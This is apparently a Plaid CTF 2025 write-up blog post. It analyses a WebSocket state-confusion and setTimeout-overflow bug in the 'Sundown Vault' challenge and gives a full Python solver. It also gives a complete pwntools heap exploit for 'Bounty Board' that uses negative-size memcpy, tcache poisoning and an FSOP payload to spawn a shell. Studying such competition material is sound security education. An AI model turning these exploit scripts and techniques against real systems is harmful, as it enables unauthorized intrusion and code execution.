Back to blog
April 7, 2025

Web & Pwn - Plaid CTF 2025

Sundown Vault:

The Challenge

Sundown Vault is a web application that allows users to create time-locked secrets which can only be revealed once a specified time has passed. Our goal is to retrieve the flag, which is stored as a secret with ID 13371337-1337-1337-1337-133713371337 that isn't supposed to be revealed until the year 2026.

Understanding the Application

Sundown Vault uses a classic web architecture:

  • Express.js backend API with WebSocket support
  • React frontend
  • PostgreSQL database for storage
  • Luxon for date/time handling

Users can:

  1. Register and log in
  2. Create secrets with a specific reveal time
  3. View their own secrets
  4. Connect to a WebSocket to watch a secret's countdown and see it revealed when the time comes

The flag is stored in the sundown.secret table with a reveal date in 2026:

INSERT INTO sundown.secret(id, owner_id, name, secret, reveal_at) 
VALUES ('13371337-1337-1337-1337-133713371337', 'plaid', 'Flag', 'PCTF{test_flag}', '2026-04-10 21:00:00+00');

And at startup, the application updates this secret with the real flag:

await pool.query(
  sql.unsafe`UPDATE sundown.secret SET secret = ${env.FLAG} WHERE id = '13371337-1337-1337-1337-133713371337'`,
);

Diving into the WebSocket Implementation

The interesting part is how the application handles the time-based revealing of secrets through WebSockets. Here's the core WebSocket handler from api.ts:

apiRouter.ws("/ws", (ws, req) => {
  // Per-connection state variables
  let secretId: string | undefined;
  let secret: string | undefined;
  let timeout: NodeJS.Timeout | undefined;
  let remaining: number | undefined;
  let timeoutDuration: number | undefined;

  function revealSecret() {
    if (secretId === undefined || secret === undefined) {
      return;
    }

    ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
    secretId = undefined;
    secret = undefined;
    timeout = undefined;
    remaining = undefined;
  }

  function updateTimeoutDuration() {
    timeoutDuration = UpdateIntervals.find((interval) => interval <= remaining! / 100) ?? 100;
  }

  function updateTimeout() {
    if (remaining === undefined) {
      return;
    }

    if (timeout !== undefined) {
      clearTimeout(timeout);
    }

    ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

    timeout = setTimeout(() => {
      remaining! -= timeoutDuration!;
      if (remaining! <= 0) {
        revealSecret();
      } else {
        updateTimeoutDuration();
        updateTimeout();
      }
    }, timeoutDuration);
  }

  ws.on("message", async (message) => {
    try {
      // Parse the message and get the secret ID
      let data = /* parse the message */;
      
      // Fetch the secret from the database
      const secretData = await pool.maybeOne(sql.type(/* ... */))`
        SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
        FROM sundown.secret
        WHERE id = ${data.id}
      `;

      // Update the connection state
      secretId = secretData.id;
      secret = secretData.secret;
      ws.send(JSON.stringify({ kind: "Watch", id: secretId, name: secretData.name }));
      remaining = new Date(secretData.reveal_at).getTime() - Date.now();

      // Set up the timer
      if (remaining <= 0) {
        revealSecret();
      } else {
        if (timeoutDuration === undefined) {
          updateTimeoutDuration();
        }
        updateTimeout();
      }
    } catch (err) {
      console.error("Unexpected error", err);
      ws.close();
    }
  });

  ws.send(JSON.stringify({ kind: "Connected" }));
});

The Vulnerability: State Confusion

After analyzing the code, I identified a critical flaw in the WebSocket handler's state management. Each WebSocket connection maintains a set of state variables (secretId, secret, timeout, remaining, timeoutDuration), and there's a race condition when handling multiple messages.

The vulnerability occurs when:

  1. A client sends an "open" command to request Secret A
  2. The server updates all state variables to track Secret A
  3. The server starts a timer to count down until Secret A should be revealed
  4. The client quickly sends another "open" command to request Secret B
  5. The server updates secretId and secret to point to Secret B
  6. Crucially, the timer from step 3 continues running
  7. When that timer expires, it calls revealSecret() which reveals Secret B, even if it's not time for Secret B to be revealed

This is a classic "state confusion" vulnerability where shared state isn't properly reset or isolated between operations.

Additionally, there's no ownership check when requesting a secret. The query simply retrieves the secret by ID without verifying if the requesting user owns the secret:

const secretData = await pool.maybeOne(sql.type(...))`
  SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
  FROM sundown.secret
  WHERE id = ${data.id}
`;

basically it picks a really long (2-year) duration for the update interval, which triggers a spec issue that setTimer behavior is undefined if your input is 2^32+ ms, and node's behavior is to execute it after 1ms; so you can then switch to the flag secret and it'll subtract a huge duration after 1ms and reveal the secret immediately

The Exploit

Our Solver :

#!/usr/bin/env python3
import asyncio
import json
import secrets
import websockets
import requests

# Configuration
TARGET = "http://localhost:3000"
FLAG_SECRET_ID = "13371337-1337-1337-1337-133713371337"

async def exploit():
    # Generate random username and password
    username = secrets.token_hex(16)
    password = secrets.token_hex(16)
    
    # Register user
    response = requests.post(
        f"{TARGET}/api/register",
        headers={"Content-Type": "application/json"},
        json={"username": username, "password": password}
    )
    print(f"Registered user {username} with password {password}")
    
    # Login
    response = requests.post(
        f"{TARGET}/api/login",
        headers={"Content-Type": "application/json"},
        json={"username": username, "password": password}
    )
    
    # Extract session cookie
    cookie_header = response.headers.get("Set-Cookie")
    session_cookie = cookie_header.split(';')[0]
    print(f"Logged in as {username} with cookie {session_cookie}")
    
    # Create a secret with a very distant future date
    response = requests.post(
        f"{TARGET}/api/secrets/create",
        headers={"Cookie": session_cookie, "Content-Type": "application/json"},
        json={
            "name": "pwn",
            "secret": "pwn",
            "revealAt": "+100000-01-01T00:00:00.000Z"
        }
    )
    
    secret_id = response.json()["id"]
    print(f"Created secret {secret_id}")
    
    # Connect to WebSocket and exploit the vulnerability
    async with websockets.connect(f"ws://{TARGET.replace('http://', '')}/api/ws", 
                              extra_headers={"Cookie": session_cookie}) as ws:
        
        # Set up message handler
        async def message_handler():
            while True:
                try:
                    message = await ws.recv()
                    print(message)
                    
                    # Check if we got the flag
                    try:
                        data = json.loads(message)
                        if data.get("kind") == "Reveal" and data.get("id") == FLAG_SECRET_ID:
                            print(f"\nFLAG: {data.get('secret')}")
                            return True
                    except:
                        pass
                except:
                    break
            return False
        
        # Start message handler in a separate task
        handler_task = asyncio.create_task(message_handler())
        
        # First request our secret
        print("Requesting our secret...")
        await ws.send(json.dumps({"command": "open", "id": secret_id}))
        
        # Wait a very short time (5ms)
        await asyncio.sleep(0.005)
        
        # Then quickly request the flag secret
        print("Requesting flag secret...")
        await ws.send(json.dumps({"command": "open", "id": FLAG_SECRET_ID}))
        
        # Wait for the handler to complete or timeout
        try:
            got_flag = await asyncio.wait_for(handler_task, 10)
            if not got_flag:
                print("Did not receive flag")
        except asyncio.TimeoutError:
            print("Timeout waiting for flag")

if __name__ == "__main__":
    asyncio.run(exploit())

When we execute this exploit:

  1. We create a new user account to get a valid session
  2. We create our own secret with a very distant reveal date
  3. We connect to the WebSocket endpoint
  4. We request our secret, which starts a timer (but it won't reveal for a long time)
  5. We immediately request the flag secret, which updates secretId and secret to point to the flag
  6. The server handles both messages in quick succession, causing state confusion
  7. The timer associated with our secret goes off after a short time
  8. When the timer expires, it calls revealSecret() with the current values of secretId and secret, which now point to the flag
  9. The server reveals the flag to us, even though it's not supposed to be revealed until 2026

The key insight is that there's a race condition in how the WebSocket handler manages state between different message handling events. By sending two requests in quick succession, we can cause the state variables to get confused, revealing secrets prematurely.

Pwn - Bounty Board - didn't solve this one

  • memcpy with negative size may cause controlled offset writes on optimized implementations, where the what implementation is chosen is decided by the cpu type (vendor) and cpu features that the environment depends on through ifunc resolution.

  • The local & remote environment may be different, and also very well be the same. However, this does not require explicit guesses or multiple different implementations of the full exploit. The remote environment behavior can be probed by observable differences between the memcpy implementations. For example, ssse3, sse2, avx & evex, and avx512 will copy 0x30, 0x40, 0x80, and 0x100 respectively to the destination address if given a negative size. Players can use this to check whether the top chunk has been corrupted or not by copying to the adjacent chunk and trying to allocate next chunk. Similarly, copying to negative offsets also work due to differences in unit copy size.

  • Overwrite top chunk to a smaller but page-aligned size Send "00000.....1" or something in the lines of this to scanf to try to allocate 0x800 sized chunk which fails to allocate at top chunk, frees it into unsorted bin and thus writing a libc address on the heap Copy this over to tcache_perthread_struct, partial overwrite to stdout and allocate there to leak pointers, then fsop

we can inspire from this https://corgi.rip/posts/leakless_heap_1/

#!/usr/bin/python3
from pwn import *
from sys import argv
import traceback

# remote uses __memcpy_avx512_unaligned_erms

e = context.binary = ELF('./copy_patched')
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
if args.REMOTE:
    ip, port = "bounty-board.chal.pwni.ng", 1337
    conn = lambda: remote(ip, port, level="error")
else:
    conn = lambda: e.process(level="error")

context.terminal = ["gnome-terminal", "--", "bash", "-c"]

def attach(p):
    gdb.attach(p, gdbscript=f"""
        set $memcpy=__memcpy_avx512_unaligned_erms
        set $libc=(long)&system - 0x58750
        set $heap=*(unsigned long*)($libc-0x2900)-0x10
    """)
    pause()

send_choice = lambda c: p.sendlineafter(b"> ", str(c).encode())

index = 0
def alloc(size, data):
    global index
    send_choice(0)
    p.sendlineafter(b"size: ", str(size).encode())
    assert b"\n" not in data
    if len(data) < size:
        data += b"\n"
    p.send(data)
    index += 1
    return index-1

def copy(dst, src, sz):
    send_choice(1)
    p.sendlineafter(b"dst: ", str(dst).encode())
    p.sendlineafter(b"src: ", str(src).encode())
    p.sendlineafter(b"len: ", str(sz).encode())

def scanf(n):
    send_choice("0"*(n-1) + "1")
    p.sendlineafter(b"dst: ", b"-1")

def leak():
    # guess
    libc.address = 0xb000
    top_size = 0xc11

    data = b"A"*8 + p16(libc.sym._IO_2_1_stdout_ & 0xffff) + b"A"*6
    data += b"A" * 0x40
    data += b"A"*8 + p64(top_size)
    data = data.ljust(0x70, b"\x00")
    data += p16(0)*3 + p16(1) + p64(0)*4
    data = data.ljust(0xe0, b"\x00")

    src = alloc(0xf7, data)
    dst = alloc(0x57, b"B"*0x10)

    # overwrite top chunk size
    copy(dst, src, -0x190)

    # move tcache count into position
    copy(src, dst, -0x10)
    copy(src, dst, -0x90)
    copy(src, dst, -0x190)

    # copy guess back to src, it getts overwritten by last copy
    copy(dst, src, 0x10)

    # get unsortedbin chunk
    scanf(0x800)

    # copy libc pointer to another chunk
    leak1 = alloc(0x100, b"X")
    copy(src, leak1, -0x20)

    # partially overwrite libc pointer -> stdout
    copy(src, dst, 10)

    # move (guessed) stdout pointer to tcache_perthread_struct
    copy(src, dst, -0x78)
    copy(src, dst, -0x78-0x100+0x80)

    # allocate on stdout for FSOP
    alloc(0x47, p64(0xfbad1800) + b"\x00"*0x17)
    return p.recvuntil(b"[[ Menu ]]", drop=True)

def is_valid(p):
    p.recvuntil(b"[[ Menu ]]")
    return p.libs()["./bounty_board/libc.so.6"] & 0xffff == 0xb000

while True:
    index = 0
    p = conn()
    try:
        out = leak()
        if out:
            break
        print("EMPTY")
    except EOFError as exception:
        print(repr(exception))
    p.close()

stdin = u64(out[-19-8:-19])
log.info(f"_IO_2_1_stdin_: {hex(stdin)}")

libc.address = 0
libc.address = stdin - libc.sym._IO_2_1_stdin_
log.info(f"libc: {hex(libc.address)}")

# setup 2 pointers in tcache_prethread_struct
# tcache[0xe0] and tcache[0xf0]
data  = p64(0)*2
data += p64(0) + p16(1)*2 + p16(0)*2
data = data.ljust(0xe0, b"\x00")
data += p64(0xdeadbeef) + p64(libc.sym._IO_2_1_stdout_)

dst = alloc(0xf7, data)
src = alloc(0xf7, data)

# move both tcache count and pointer into tcache_perthread_struct
for i in range(5):
    copy(dst, src, -(0x10 + 0x100*i))

# https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#3---the-fsop-way-targetting-stdout

# some constants
stdout_lock = libc.sym._IO_stdfile_1_lock
stdout = libc.sym['_IO_2_1_stdout_']
fake_vtable = libc.sym['_IO_wfile_jumps']-0x18
# our gadget
gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx

fake = FileStructure(0)
fake.flags = 0x3b01010101010101
fake._IO_read_end=libc.sym['system']            # the function that we will call: system()
fake._IO_save_base = gadget
fake._IO_write_end=u64(b'/bin/sh\x00')  # will be at rdi+0x10
fake._lock=stdout_lock
fake._codecvt= stdout + 0xb8
fake._wide_data = stdout+0x200          # _wide_data just need to points to empty zone
fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)

assert len(fake) <= 0xe8
alloc(0xe7, bytes(fake)[:0xe7])

p.interactive()